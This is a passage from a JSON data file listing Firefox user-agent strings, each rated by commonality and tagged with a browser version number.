Firefox\\/40.0\"},{\"commonality\":\"Common\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Common\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Common\",\"version\":\"30\",\"ua\":\"Ruby, Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/6.0 (Windows NT 7.2; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Common\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Common\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Common\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Common\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko\\/2009042316 Firefox\\/3.0.10\"},{\"commonality\":\"Common\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Common\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Common\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko\\/2008120122 Firefox\\/3.0.5\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Common\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Common\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko\\/20100101 Firefox\\/5.0\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Common\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Common\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Common\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:5.0.1) Gecko\\/20100101 Firefox\\/5.0.1\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko\\/20100921 Firefox\\/4.0b7pre\"},{\"commonality\":\"Common\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Common\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Common\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Common\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:5.0) Gecko\\/20100101 Firefox\\/5.02\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:36.0) Gecko\\/20100101 Firefox\\/36.04\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Common\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Common\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Common\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Common\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Common\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2228.0 Safari\\/537.36Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Common\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko\\/20130401 Firefox\\/31.0\"},{\"commonality\":\"Common\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Common\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Common\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"commonality\":\"Common\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:40.0) Gecko\\/40.0 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.5; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:22.0) Gecko\\/20100101 Firefox\\/22.0\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i586; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:53.0) Gecko\\/20100101 Firefox\\/53.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko\\/20100101 Firefox\\/27.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:10.0) Gecko\\/20100101 Firefox\\/10.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Tablet; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko\\/20100101 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; 